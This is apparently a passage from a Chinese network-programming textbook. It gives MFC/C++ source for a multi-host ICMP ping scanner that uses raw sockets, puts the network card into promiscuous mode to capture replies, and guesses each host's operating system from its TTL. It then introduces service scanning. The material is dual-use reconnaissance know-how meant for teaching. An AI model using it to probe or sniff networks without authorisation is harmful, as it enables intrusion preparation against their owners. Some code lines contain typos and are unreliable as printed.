在实际应用中，ping对方主机一般有两种指定范围的方法。一种是给定一个连续的IP范围段，分别ping该段中的主机，判断有哪些主机处于开机状态；另一种是指定一个列表，该列表也许是分散的、无序的，程序自动按顺序分别ping该列表中的主机，判断哪些主机处于开机状态。这个主界面中，“Ping模式”分组中，就提供了这两种模式。单击“Ping指定的IP段”单选按钮，“开始IP”地址控件和“结束IP”地址控件就会变为有效状态。同时，系统会根据“开始IP”和“结束IP”地址控件自动计算出包含二者在内的整个IP地址段（当然，为了考虑实用性和容错性，如果该IP地址段的总数据超过1000个，则只列出前1000个），并将这些IP地址加入到扫描结果的列表中。如果用户选择“Ping列表中所列的IP”单选按钮，则“配置扫描列表”按钮变为有效状态。同时，系统会自动读取之前保存的扫描列表中的IP地址列表，并加到扫描结果的列表中。总之，“Ping模式”分组的作用，就是生成要ping的IP地址列表，等待下一步的操作。

通过对“Ping模式”分组的设定后，在“扫描结果”分组的列表中，应该列出了等待ping的主机IP列表。单击“开始扫描”按扭，系统就按列表中的顺序ping指定的主机，并自动将读到的状态（收到回送响应，则显示“通”）显示在列表的“状态”列中，同时根据对方返回的TTL值，粗略判断一下对方的操作系统类型（判断方法见前面6.2.1.2节“通过TTL值判断对方操作系统的简易方法”）显示在列表的“操作系统”列中。在扫描过程中，如果花费时间较长，不愿意等待，则可以通过单击“停止扫描”按钮中止当前的扫描过程。“清空列表”按钮可以将整个扫描结果列表清空，但该清空只是将当前显示的数据清空，并不影响实际的内部数据，之后，单击“Ping列表中所列的IP”单选按钮，系统仍然会将系统保存的IP列表显示在列表中。

“系统操作”分组主要是对上述每一个操作的操作结果显示出来，通常情况下，MessageBox的方式过于直接，常常会中断用户当前的操作，而对于一些不重要的错误或操作提示、提醒，通过这种方式提醒，会更合理。单击“退出系统”按钮会退出该系统。

在上述操作中，只提到了用户单击“Ping模式”分组中的“Ping列表中所列的IP”单选按钮可以将之前保存的IP列表内容读取到“扫描结果”分组的待扫描的列表中，而要对该列表进行创建、增加、修改、删除、调整位置等操作，可单击“配置扫描列表”按钮，则弹出“Ping列表”对话框，如图6.11所示。
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图　6.11　修改IP列表对话框界面

考虑到IP列表一般不会太多，所以将添加、修改、删除、位置调整等所有功能做到了一个界面中。在图6.11中，左边部分是一个列表，列出了当前系统之前所配的IP列表。

要增加新IP地址，首先在IP文本框中输入要ping的IP地址，如果有必要可以在注释文本框中输入对该IP地址的一个解释。然后单击“添加IP”按钮，则该IP地址和注释会被增加到IP地址列表中。

要修改IP地址，首先双击列表中要修改的项，在IP地址和注释栏中修改IP地址或注释后，单击“修改IP”按钮，则被选中的项会被改成新改的IP地址和注释。通过这一特性，如果双击列表中的某一IP地址和注释所在行，然后选择列表框中的另一行，不修改IP地址和注释，直接单击“修改IP”按钮可以完成复制功能。

要删除列表中的某一行，则首先在列表中选择要删除的行，然后单击“删除所选”按钮，则会将所选的项删除。该项支持多选，多选的方式与Windows默认操作相同，即单击完成第一项的选择，按着Shift键再单击时，系统会把由第一顶到新单击的行之间的所有行选中；无论什么时候，按着Ctrl键单击时，如果当前单击的行是被选中的，则更改为未被选中状态，反之亦然。

要删除表中所有项，则单击“清空列表”按钮。

因为ping的时候，各IP地址是按顺序从前到后依次ping的，所以用户如果关注ping的顺序，可以按自己的要求设定IP地址在列表中的顺序。要调整某一IP地址在列表中的顺序，单击列表要调整的IP所在的行，然后单击“位置上调”，则该行的位置会向上调一位，单击“位置下调”，则该行的位置会向下调一位，连续单击“位置上调”或“位置下调”按钮，会使所选的行连续向前或向后调整位置。


6.6.2　程序原理

要制作上面的程序，首先要分析原理并设计一下该程序的流程。要使用ICMP协议快速扫描对方多台主机，最简单的方法就是使用ICMP协议中的“回送请求消息”和“回送响应消息”，这是因为，几乎所有的操作系统、所有的主机都支持此选项。

普通ping程序的原理如图6.12所示。

[image: ]


图　6.12　一次普通ping命令逻辑分析图

这是一次成功的ping命令所进行的操作，其中每次“回送请求消息”都是由源主机主动发出的，而目标主机则在每次接到“回送请求消息”后，向发出请求的一方回送“回送响应消息”。默认参数条件下，这样的往返数据共分四轮。

每次“往返时间”（由发起到接到响应的时间）因源主机和目标主机之间的“距离”而定，这里的距离不仅是指物理距离，而主要是指路径上路由器和交换机因电气转换过程中所花的时间。假设平均往返时间是100毫秒，每轮之间的时间间隔是1000毫秒，则整个过程耗费的总时间是100*4+1000*3=3400毫秒。通过分析可以看到，默认的ping程序把大量的时间花在了两组命令之间的时间间隔，并且每轮“接收”的操作完全是同步操作，这使得其效率大大降低。如果要设定为ping一段IP，这种情况更为明显。

解决上述问题的方法是通过自己编写ping程序来改善，如图6.13所示。
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图　6.13　快速ping命令逻辑分析图

如图所示，源主机同时开两个线程，一个是发送线程，一个是接收线程。和普通ping不同的是，发送线程只需要不停地发送请求数据包，而不需要考虑相邻两次请求之间的间隔，因此避免了等待时间。接收线程则接收所有回送的响应数据包，并根据响应内容判断是否“ping通”。

对照IP范围段扫描和指定列表扫描，分析二者的特点，可以发现：如果第一个功能中，将IP范围段生成到列表中，也就可以将二者等同起来。


6.6.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为MultiPing。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在StdAfx.h中定义多个文件都要用到的常量。



//最大范围常量宏

#define MAXNUMIP 10000

#define MAXNUMLIST 200

//INI配置文件的文件名，用于保存一些常量

#define INIFILENAME".\\MultiPing.ini"

//CListCtrl中列序号常量宏定义。

#define LIST_RESULT_INDEX 0

#define LIST_RESULT_IPSTR 1

#define LIST_RESULT_STATE 2

#define LIST_RESULT_OPERSYS 3

#define LIST_RESULT_COMMENT 4

//#define LIST_RESULT_TIME 5



在程序主文件MultiPingDlg.cpp的头部定义，这部分主要是该文件自己使用的一些头文件和常量。



//声明Windows Socket2以及编译静态链接库

#include＜winsock2.h＞

#include＜ws2tcpip.h＞

#pragma comment(lib,"ws2_32.lib")

//IP包头定义

typedef struct iphdr

{

UCHAR ver_pack;//该字节包含了版本和IP分组长度

UCHAR tos;//服务类型Type of service

USHORT total_len;//包的总长，为了和ping命令包长兼容

//本处填充32个字节，总长为60字节

USHORT ident;//标识符

USHORT frag_and_flags;//标志位和分段

UCHAR ttl;//生命周期

UCHAR proto;//协议(TCP、UDP、ICMP等)，在本程序中固定为1

USHORT checksum;//IP包的校验和

UINT sourceIP;//发送端的IP

UINT destIP;//接收端的IP地址

}IPHEADER,*PIPHEADER;

//ICMP包头定义

typedef struct icmphdr

{

BYTE i_type;//命令类型，本程序发送时为8，回复时为0

BYTE i_code;//代码，相当于子功能，本程序中固定为0

USHORT i_cksum;//ICMP包的校验和

USHORT i_id;//标识符

USHORT i_seq;//序列码

UCHAR buff[32];//在ping程序中，固定为一个字符串

}ICMPHEADER,*PICMPHEADER;

//定义几个长度变量

#define ICMP_ECHO 8

#define ICMP_ECHOREPLY 0

#define IPHEADLEN sizeof(IPHEADER)

#define ICMPHEADLEN sizeof(ICMPHEADER)

#define ICMPHEADMINLEN 8//ICMP包的最小长度（只有包头）

#define IPICMPHEADLEN(IPHEADLEN+ICMPHEADLEN)

//定义程序中的两个宏

#define SIO_RCVALL_WSAIOW(IOC_VENDOR,1)

#define STATUS_FAILED 0xFFFF

//线程初始化时的结构

typedef struct ThreadParamStruct

{

UCHAR a,b,c,d;

int index;//索引号

CMultiPingDlg*ptr;//将当前类的指针传递过去

}THREADPARAM;

//线程的声明

THREADPARAM ThreadParam;

UINT ThreadRawReceive(LPVOID pParam);

BOOL g_bRunning;//线程是否运行

BOOL g_bReceiving;//线程是否需要对接收的内容进行判断

int g_iItemCount;//项目数

//Ping的模式，是IP段，还是列表

#define PING_MODE_IPSCALE 0

#define PING_MODE_IPINLIST 1



3.系统初始化

系统初始化操作，在初始化中，主要完成四项操作。即Windows Socket2.0的初始化；CListCtrl控件的初始化，即变量ctlListResult中表头部分的创建；监听线程的启动以及界面所有控件所必须完成的初始化的操作。



BOOL CMultiPingDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//Windows Socket 2.0的初始化，这项操作在系统初始化过程中

//应尽量优先得到运行，并且如果初始化不成功，则无法继续运行

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1),＆wsaData)!=0)

{

CString strTemp;

strTemp.Format("初始化失败，请重新运行。错误码:%d",GetLastError());

MessageBox(strTemp,"出错提示");

ExitProcess(STATUS_FAILED);//如果失败则退出系统

}

//读取本地IP地址，在SOCKET创建时，需要绑定本地IP

char sLocalName[64]={0};

//获取本机名

gethostname((char*)sLocalName,sizeof(sLocalName)-1);

//获取本地IP地址

hostent*pHost=gethostbyname(sLocalName);

m_strLocalIP.Format("%s",inet_ntoa(*(struct in_addr*)pHost-＞h_addr_list[0]));

//列表表头的创建

m_ctlListResult.InsertColumn(LIST_RESULT_INDEX,"序号",LVCFMT_LEFT,20);

m_ctlListResult.InsertColumn(LIST_RESULT_IPSTR,"IP",LVCFMT_LEFT,110);

m_ctlListResult.InsertColumn(LIST_RESULT_STATE,"状态",LVCFMT_LEFT,40);

//初始化为空，接到回复时显示通

m_ctlListResult.InsertColumn(LIST_RESULT_OPERSYS,"操作系统",LVCFMT_LEFT,

100);//根据TTL值进行粗判

m_ctlListResult.InsertColumn(LIST_RESULT_COMMENT,"注释",LVCFMT_LEFT,70);

//对主机名的注释

//m_ctlListResult.InsertColumn(LIST_RESULT_TIME,"时间",LVCFMT_LEFT,0);

//m_ctlListResult.InsertColumn(LIST_RESULT_NAME,"主机名",LVCFMT_LEFT,0);

//m_ctlListResult.InsertColumn(LIST_RESULT_IPINT,"IP整数",LVCFMT_LEFT,0);

//单击列表时可以选中一行

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);

//从INI文件中读取一些参数的默认值，由于不同用户默认的范围不同

//所以该项允许定制，并在退出时保存到INI文件中

char buff[MAX_PATH];

GetPrivateProfileString("Init","BeginIP","192.168.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPBegin.SetWindowText(buff);

GetPrivateProfileString("Init","EndIP","192.168.0.254",buff,MAX_PATH,INIFILENAME);

m_ctlIPEnd.SetWindowText(buff);

//启动线程

ThreadParam.ptr=this;//传递一个当前类的指针

g_bRunning=TRUE;//线程可以运行

g_bReceiving=FALSE;//接到某个IP地回复时，就将列表中"状态"一项设为"通"，并判断TTL值

AfxBeginThread(ThreadRawReceive,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(500);

ChangePingMode(PING_MODE_IPSCALE);//设置默认的PING模式为IP段

UpdateData(FALSE);

return TRUE;

}



4.接收线程

接收线程，该线程是该程序中最关键的一部分代码之一。该线程主要完成的功能是：接收网上所有返回的数据包，当发现某数据包的IP地址在要扫描的列表中时，将其“状态”设为“通”，并且根据该包的TTL值判断一下操作系统类型，其判断的依据和方法参见前面的6.2.1.2节内容。

解决这一问题的方式是将网卡设为“混杂模式”（混杂模式的详细说明参见前面2.2.9节中“网卡的混杂模式”的专项介绍），通过将网卡设为混杂模式，就可以让网卡能接到别的主机发来的数据包，以及在不影响本地其他程序使用的前提下接收到达所有端口的数据。

从实际的使用效果来看，只要接到了某台主机的数据包，本身就意味着这台主机处于“开机”状态（对方关机，ping的时候，“目的不可达消息”是由网关发出的）。因此，该线程不需要考虑是不是主动向对方发送了什么数据包，而只是考虑对方有没有回数据包即可。换句话说，程序中发送数据由另一处完成，而该线程所考虑的是：不停地接所有的数据包，只要该数据包源IP地址在列表中，即认为对该主机的"ping"是成功的。



UINT ThreadRawReceive(LPVOID pParam)

{

//接收主线程传来的参数。这部分要及早处理

THREADPARAM*threadparam=(THREADPARAM*)pParam;

//指向CMultiPingDlg类，这样就可以使用其所有变量

CMultiPingDlg*ptr=threadparam-＞ptr;

//其中CListCtrl控件使用较频繁，所以直接使用一个指针

CListCtrl*pList=(CListCtrl*)＆ptr-＞m_ctlListResult;

//使用RAW Socket

SOCKET sock;

SOCKADDR_IN addr_local,addr_remote;

int buflen=sizeof(addr_remote);

if((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERAPPED))==

INVALID_SOCKET)

{

AfxMessageBox("原始套接字设置出错!\n",MB_OK|MB_ICONINFORMATION);

return 1;

}

//设置几个参数

BOOL flag=TRUE;

if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)＆flag,sizeof(flag))

==SOCKET_ERROR)

{

AfxMessageBox("套接字选项IP_HDRINCL设置出错!\n",

MB_OK|MB_ICONINFORMATION);

return 2;

}

int nTimeOver=500;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆nTimeOver,

sizeof(nTimeOver))==SOCKET_ERROR)

{

AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!\n",

MB_OK|MB_ICONINFORMATION);

return 3;

}

int localPort=GetPrivateProfileInt("Init","LocalPort",5000,INIFILENAME);

addr_local.sin_family=AF_INET;

addr_local.sin_port=htons(localPort);

addr_local.sin_addr.s_addr=inet_addr(ptr-＞m_strLocalIP);

if(bind(sock,(PSOCKADDR)＆addr_local,sizeof(addr_local))==SOCKET_ERROR)

{

AfxMessageBox("绑定本地IP端口接收出错，请确认网络连接正确，或修改配置\

中的Init/LocalPort端口值。",MB_OK|MB_ICONINFORMATION);

return 4;

}

//将网卡设置为混杂模式，这是最关键的一步

DWORD dwBufferLen[10];

DWORD dwBufferInLen=1;

DWORD dwBytesReturned=0;

if(WSAIoctl(sock,SIO_RCVALL,＆dwBufferInLen,sizeof(dwBufferInLen),

＆dwBufferLen,sizeof(dwBufferLen),＆dwBytesReturned,NULL,NULL)==SOCKET_ERROR)

{

AfxMessageBox("WSAIoctl设置出错，无法将网卡设置为混杂模式，通常这种\

问题是因为网络没有连好，或使用了无线网卡。",

MB_OK|MB_ICONINFORMATION);

return 5;

}

//线程进入接收状态

UCHAR RecvBuf[65000];//IP包最大为64K左右，所以定义一个大的缓冲区

PIPHEADER ipPtr=(PIPHEADER)RecvBuf;

CString strTemp;

while(g_bRunning)

{

//接收每一个数据包，此时所接收的所有到达网卡的数据包

int ret=recvfrom(sock,(char*)RecvBuf,sizeof(RecvBuf),0,

(LPSOCKADDR)＆addr_remote,＆buflen);

if(ret==SOCKET_ERROR)

continue;

if(!g_bReceiving)

{

Sleep(10);

continue;

}

//依次分析每一个源IP地址，接到意味着该主机是开着的

UNIONIP ip;

ip.uInt=ipPtr-＞sourceIP;//从IP包头中提取出源IP地址

for(int i=0;i＜g_iItemCount;i++)

{

//在表中依次查找。如果找到了，则显示"通"

if(pList-＞GetItemData(i)!=(DWORD)ip.uInt)

continue;

pList-＞SetItemText(i,LIST_RESULT_STATE,"通");

//根据TTL值，判断对方操作系统

//判断方法见6.2.1.2节“通过TTL值判断对方操作系统的简易方法”

UCHAR ucTTL=ipPtr-＞ttl;//提取TTL值

CString strTemp="无法判断";

if(ucTTL＜=32)

{

strTemp="Windows 95/98/Me";

}

else

{

if(ucTTL＜=64)

{

strTemp="Linux";

}

else

{

if(ucTTL＜=128)

{

strTemp="Windows NT/2000/XP/2003/Vista";

}

else

{

strTemp="Unix";

}

}}

//strTemp.Format("TTL:%d",(UCHAR));

pList-＞SetItemText(i,LIST_RESULT_OPERSYS,strTemp);

break;//一旦找到了某个数据，就不再继续找了，因为列表内的数据是不重复的

}//for(int i=0;i＜g_iItemCount;i++)

}//end of while

shutdown(sock,2);

closesocket(sock);

return 0;

}

//退出系统，退出系统时主要做三个操作：把监听线程停掉，把当前界面参数保存起来，注销Windows Socket2

void CMultiPingDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗，是否继续？","操作提示",

MB_OKCANCEL|MB_ICONQUESTION|MB_DEFBUTTON2)==IDOK)

{

UpdateData(TRUE);

UCHAR a,b,c,d;

CString strTemp;

//停一秒钟，以等待主线程停掉

g_bRunning=FALSE;

Sleep(1000);

//将默认参数保存到INI文件中

m_ctlIPBegin.GetAddress(a,b,c,d);

strTemp.Format("%d.%d.%d.%d",a,b,c,d);

WritePrivateProfileString("Init","BeginIP",strTemp,INIFILENAME);

m_ctlIPEnd.GetAddress(a,b,c,d);

strTemp.Format("%d.%d.%d.%d",a,b,c,d);

WritePrivateProfileString("Init","EndIP",strTemp,INIFILENAME);

//Socket注销

WSACleanup();

CDialog::OnCancel();

}

}



校验和算法，该算法会在两个地方使用，一个是IP包头，另一个是ICMP包头。二者的算法一样。



USHORT CMultiPingDlg::Checksum(USHORT*buffer,int size)

{

unsigned long cksum=0;

//将数据以字为单位累加到cksum中

while(size＞1){

cksum+=*buffer++;

size-=sizeof(USHORT);

}

//如果为奇数，将最后一个字节扩展到双字，再累加到cksum中

if(size)

{

cksum+=*(UCHAR*)buffer;

}

//将cksum的高16位和低16位相加，取反后得到校验和

cksum=(cksum＞＞16)+(cksum＆0xffff);

cksum+=(cksum＞＞16);

return(USHORT)(～cksum);

}



Windows是基于消息交换的，同时很多控件对大数据量时的快速显示做了优化，而这些优化的时候，会使控件长时间像“卡死”状态。想改变这种状态，一个办法就是主动处理消息，在处理过程中，不使用系统的优化效果，而是实现自己绘画，这种处理会占用大量资源，所以只适合用于一些短时间处理的操作。



void CMultiPingDlg::DoEvent(CString tempPass)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(tempPass);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}



5.扫描主体部分

扫描主体部分是该程序的最主要部分，其作用是向目标主机发出ICMP协议的“回送请求消息”，如果对方回复了“回送响应消息”，则表示对方处于开机状态，在一定时间内，如果接到“目的不可达消息”、“超时消息”或者没有接到任何消息，则可以认为对方未处于开机状态或不在同一网段中。需要注意的是，上述状态中，“目的不可达消息”和“超时消息”是由网关发出的，而不是主机发出的。没接到任何消息，则可能是用户主机和目标主机之间的连接中没有网关。

通常上述机制会采用多线程的处理，每一个线程负责向一个或少数的几个目标主机发送ICMP数据。但经分析，这里的发送不需要考虑接收，而由专门的线程ThreadRawReceive专项处理，故每两个发送之间不需要过多的等待，所以并没有采用线程处理（当然，也完全可以改成线程处理）。

要发送ICMP数据包，首先打开RAW Socket，设置IP_HDRINCL选项，使IP头部分由用户程序来完成，然后依次填充IP包头和ICMP包，最后发送整个数据包。从逻辑上并不复杂，但由于大量使用到一些非常用的函数和参数，所以可读性较差。



void CMultiPingDlg::OnBUTTONStart()

{

UpdateData(TRUE);

//在"Ping"期间，使"开始扫描"按钮处于无效状态

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(FALSE);

SOCKET sockSend=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,

WSA_FLAg_OVERLAPPED);

if(sockSend==INVALID_SOCKET)

{

AfxMessageBox("RAW Socket创建失败。");

return;

}

int timeout=1000;

setsockopt(sockSend,SOL_SOCKET,SO_RCVTIMEO,(char*)＆timeout,sizeof(timeout));

setsockopt(sockSend,SOL_SOCKET,SO_SNDTIMEO,(char*)＆timeout,sizeof(timeout));

//填充SOCKADDR_IN结构

sockaddr_in addr_inr,addr_inl;

addr_inl.sin_family=AF_INET;

addr_inl.sin_port=htons(54321);

addr_inl.sin_addr.s_addr=inet_addr(m_strLocalIP);

//绑定到本地网卡,INADDR_ANY不行

addr_inr.sin_family=AF_INET;

addr_inr.sin_port=htons(12345);

//设置IP头操作选项，其中flag设置为TRUE，亲自对IP头进行处理

int flag=1;

setsockopt(sockSend,IPPROTO_IP,IP_HDRINCL,(char*)＆flag,sizeof(flag));

//把原始套接字绑定到本地网卡地址上

if(bind(sockSend,(PSOCKADDR)＆addr_inl,sizeof(addr_inl))==SOCKET_ERROR)

{

return;

}

CString strTemp;

g_bReceiving=TRUE;

char SendBuf[1024]={0};//要发送的缓冲区

PIPHEADER ipHeader=(PIPHEADER)SendBuf;

PICMPHEADER icmpHeader=(PICMPHEADER)＆SendBuf[IPHEADLEN];

char*dataHeader=(char*)icmpHeader-＞buff;

CString strData="abcdefghijklmnopqrstuvwabcdefghi";

strcpy(dataHeader,strData);

ipHeader-＞ver_pack=0x45;

ipHeader-＞tos=0;

ipHeader-＞total_len=htons(IPICMPHEADLEN);//IPICMPHEADLEN

ipHeader-＞ident=0;//0x50BD;

ipHeader-＞frag_and_flags=0;

ipHeader-＞ttl=128;

ipHeader-＞proto=IPPROTO_ICMP;

ipHeader-＞sourceIP=addr_inl.sin_addr.s_addr;

icmpHeader-＞i_type=ICMP_ECHO;

icmpHeader-＞i_code=0;

icmpHeader-＞i_id=0x0;//(USHORT)GetCurrentProcessId();

icmpHeader-＞i_seq=0x0;

icmpHeader-＞i_cksum=0;

icmpHeader-＞i_cksum=Checksum((USHORT*)icmpHeader,60-IPHEADLEN);

int iCount=m_ctlListResult.GetItemCount();

for(int times=0;times＜1;times++)

{

for(int i=0;i＜iCount;i++)

{

if(!g_bReceiving)

break;

strTemp=m_ctlListResult.GetItemText(i,LIST_RESULT_IPSTR);

//strTemp="192.168.0.201";

addr_inr.sin_addr.s_addr=inet_addr(strTemp);

ipHeader-＞destIP=addr_inr.sin_addr.s_addr;//设置IP头

//计算校验和

ipHeader-＞checksum=0;

ipHeader-＞checksum=Checksum((USHORT*)SendBuf,IPHEADLEN);

CString ss,tt="";

for(int s=0;s＜200;s++)

{

ss.Format("%02X",(UCHAR)SendBuf[s]);

tt+=ss;

if(s%10==9)

tt+="\r\n";

}

//AfxMessageBox(tt);

sendto(sockSend,(char*)SendBuf,ICMPHEADLEN,0,

(struct sockaddr*)＆addr_inr,sizeof(addr_inr));

Sleep(100);

DoEvent(strTemp);

}

}

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(TRUE);

}



6.与界面相关的其他部分

停止扫描，其实只是停下了ThreadRawReceive线程中接收对方回复包的工作，而不是停止整个ThreadRawReceive线程，这样做可以避免ThreadRawReceive线程的不断启停。



void CMultiPingDlg::OnBUTTONStop()

{

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(TRUE);

g_bReceiving=FALSE;

}



由于本程序支持IP段扫描和指定IP列表两种操作模式，因此需要在二者之间切换时进行处理。



void CMultiPingDlg::ChangePingMode(int mode)

{

m_iPingMode=mode;

m_ctlListResult.DeleteAllItems();

switch(mode)

{

case PING_MODE_IPSCALE:

{

GetDlgItem(IDC_STATIC_StartIP)-＞EnableWindow(TRUE);

GetDlgItem(IDC_STATIC_EndIP)-＞EnableWindow(TRUE);

GetDlgItem(IDC_BeginIP)-＞EnableWindow(TRUE);

GetDlgItem(IDC_EndIP)-＞EnableWindow(TRUE);

GetDlgItem(IDC_BUTTON_SetupIPList)-＞EnableWindow(FALSE);

//m_ctlListResult.SetColumnWidth(LIST_RESULT_STATE,0);

}

break;

case PING_MODE_IPINLIST:

{

GetDlgItem(IDC_STATIC_StartIP)-＞EnableWindow(FALSE);

GetDlgItem(IDC_STATIC_EndIP)-＞EnableWindow(FALSE);

GetDlgItem(IDC_BeginIP)-＞EnableWindow(FALSE);

GetDlgItem(IDC_EndIP)-＞EnableWindow(FALSE);

GetDlgItem(IDC_BUTTON_SetupIPList)-＞EnableWindow(TRUE);

//m_ctlListResult.SetColumnWidth(LIST_RESULT_STATE,80);

}

break;

default:break;

}

}

void CMultiPingDlg::OnRADIOPingMode2()

{

UpdateData(TRUE);

CDialogPingInList dlg;

dlg.m_pParent=this;

dlg.ReadFromINI(FALSE);

ChangePingMode(PING_MODE_IPINLIST);

CString strTemp;

for(int i=0;i＜dlg.m_iItemCount;i++)

{

strTemp.Format("%d",i+1);

m_ctlListResult.InsertItem(i,strTemp);

m_ctlListResult.SetItemText(i,LIST_RESULT_IPSTR,dlg.m_strItemIP[i]);

m_ctlListResult.SetItemText(i,LIST_RESULT_COMMENT,dlg.m_strItemComment[i]);

m_ctlListResult.SetItemText(i,LIST_RESULT_STATE,"");

m_ctlListResult.SetItemData(i,IPStrToInt(dlg.m_strItemIP[i]));

}

g_iItemCount=dlg.m_iItemCount;

UpdateData(FALSE);

}

void CMultiPingDlg::OnRADIOPingMode()

{

UpdateData(TRUE);

ChangePingMode(PING_MODE_IPSCALE);

CString strIP,strTemp;

int iCount=0;

UNIONIP uIPStart,uIPEnd;

m_ctlIPBegin.GetAddress(uIPStart.dwDword);

m_ctlIPEnd.GetAddress(uIPEnd.dwDword);

while(uIPStart.dwDword＜=uIPEnd.dwDword＆＆iCount＜1000)

{

strTemp.Format("%d",iCount+1);

m_ctlListResult.InsertItem(iCount,strTemp);

strIP.Format("%d.%d.%d.%d",uIPStart.ucByte[3],uIPStart.ucByte[2],

uIPStart.ucByte[1],uIPStart.ucByte[0]);

m_ctlListResult.SetItemText(iCount,LIST_RESULT_IPSTR,strIP);

m_ctlListResult.SetItemText(iCount,LIST_RESULT_COMMENT,"");

m_ctlListResult.SetItemText(iCount,LIST_RESULT_STATE,"");

m_ctlListResult.SetItemData(iCount,IPStrToInt(strIP));

uIPStart.dwDword++;

iCount++;

}

g_iItemCount=iCount;

}

void CMultiPingDlg::OnBUTTONSetupIPList()

{

UpdateData(TRUE);

CDialogPingInList dlg;

dlg.m_pParent=this;

dlg.DoModal();

UpdateData(FALSE);

}




第7章　基于协议的服务扫描器的设计

WWW、FTP、Telnet、Email都是网络应用中极其常用、但又各有特色的服务。但凡上过网的人，无一不在使用这几种网络服务。

一台计算机逻辑上可以提供多项服务，每安装一个服务，即打开了一个或多个端口。从这个角度上看，每个服务对应一个或几个指定端口，反之，如果能检测到某一个端口处于打开状态，理论上也能推出某个服务是否处于开放状态。但实际的应用中，这个问题并不是这么简单，原因如下：

1）即使是熟知端口，也只是一个建议值，但实际上，没有任何强制性的措施来限制一个普通的程序占用某一个端口。例如，众所周知，WWW一般使用80端口，而我们可以很容易地编一个程序在未提供WWW服务的服务器上占用80端口与外界通信。这时扫描到某80端口处于开状态，却不能说对方一定提供WWW服务。

2）即使是同一台服务器，也有可能提供多个相同或类似的服务。例如，一个对外提供WWW服务的商用服务器，有可能同时提供ASP、PHP、JSP等多种WWW服务，而端口只能提供给其中某一个服务使用，其他服务只能占用其他端口。这时会出现多个端口分别各自提供一种WWW服务的情况。

由此可见，由端口倒推服务的方式不准，甚至会出错。为了判断某个端口是不是使用某一协议，则需要使用服务扫描器。

服务扫描器的原理很简单，但编程实现非常难。其原理就是根据某一指定的服务协议进行正常的通信，如果能通信，则认为对方提供某一服务，否则就是没有提供。说得通俗点，就是编一个简易版的客户端即可。难就难在这种扫描器具有很强的针对性，编程不仅仅需知道要扫描服务的具体协议，有时还与操作系统或服务器的版本有关，甚至其中还需要很多技巧才行。

知道原理和编程要点后，就可以进行服务扫描的编程，本章以目前通用的WWW、FTP、Telnet、Email四个主要服务为例，分别从协议简介、协议格式（或命令）、服务扫描器的设计等几步详细讲述这四种服务扫描器的设计方式。为了使读者有直观感受，每种服务还分别详细介绍了该服务的安装、配置、测试方式，以期使读者可以自己亲自实践。

四个服务的扫描器设计方法各不相同，但原理大同小异，由此方法举一反三，很容易知道对于一个新的服务，都可以从协议分析、协议格式（或命令）提取、编制扫描器、验证等几步来完成。所以说这种方法很具有通用性。当然，实际编程中，并不一定需要知道所有的协议细节，而只需要知道关键的几步就可以了。

本章中，各服务的安装、配置、验证都需要用户是Administrators组中的成员。


 7.1　WWW服务扫描

网络出现伊始，人们在获得信息共享带来的极大方便的同时，也感觉到一些不便。比如，当阅读一篇文章时，有时不得不停下当前的阅读，转而去查询文章中某些术语的解释，得到结果后再返回原处继续阅读，这种中断会使阅读变得很麻烦。于是人们希望有一种“超级文本”（Hyper Text）出现，在这种文本中，有些关键的词是以链接的方式出现，当用户单击链接的时候，整个内容就自动跳转到该关键词的解释上，通过“后退”又能回到上次的位置。

万维网（World Wide Web，WWW）正是在这一思想的基础上发展起来的一种网络服务，并迅速得到了发展。在这种服务方式下，信息以超文本方式进行传输，在客户端以图形化界面进行显示。据调查，1991年8月6日被认为是万维网诞生的日子。

万维网几乎与互联网同步出现，而WWW服务广泛适合于大众的特点使得WWW服务迅速在大众心中得到认识，以至于有人把WWW与互联网等同起来。


 7.1.1　WWW服务器架构

要实现上述对“超级文本”的阅读，需要三大环节支持才能完成，首要的就是用什么格式表示和保存这种超文本；然后是用户以什么方式到服务器上去读指定的超文本文件；最后是怎么把超文本显示出来并支持跳转。其中最后一项是最容易实现的，因为只要编出一个能够识别第一项中的超文本方式即可完成，目前市面上有数十种浏览器可用，故此处不讨论。

7.1.1.1　超文本格式和HTML

为了实现超文本式的阅读，定义了HTML（Hyper Text Markup Language，超文本标记语言）。这种标记语言由一套标签组成，标签由字符“＜”和“＞”包含。并约定如下：

❑少数标签单个出现，如＜hr＞。

❑部分标签成对出现，用于表示同一个意义，并且两个标签的中间内容也是标签的一部分，标签以字符“＜”开头，以字符“＜/”结尾。如“＜head＞测试程序＜/head＞”。

❑部分标签是由一组按固定格式出现的标签组成，这些标签可以视为是一个大的标签。如＜select name=”D1”＞＜option＞No1＜/option＞＜option＞No2＜/option＞＜/select＞。

❑各标签之间的文字原样显示，但根据显示情况，合并其中的连续空格为一个空格。

❑标签“＜”之后的第一个单词为关键字，后面是参数。如＜font color="red"＞＜/font＞中，font是关键字，color是参数名，"red"就是参数color的值了。

❑标签允许嵌套，但原则上不允许交叉。如＜table＞＜tr＞＜td＞第一行＜/td＞＜/tr＞＜tr＞＜td＞第二行＜/td＞＜/tr＞＜/table＞，这段代码就是嵌套的。当出现交叉时，由于HTML语言的解释器各不相同，有时会出错，有时则能正常解释。

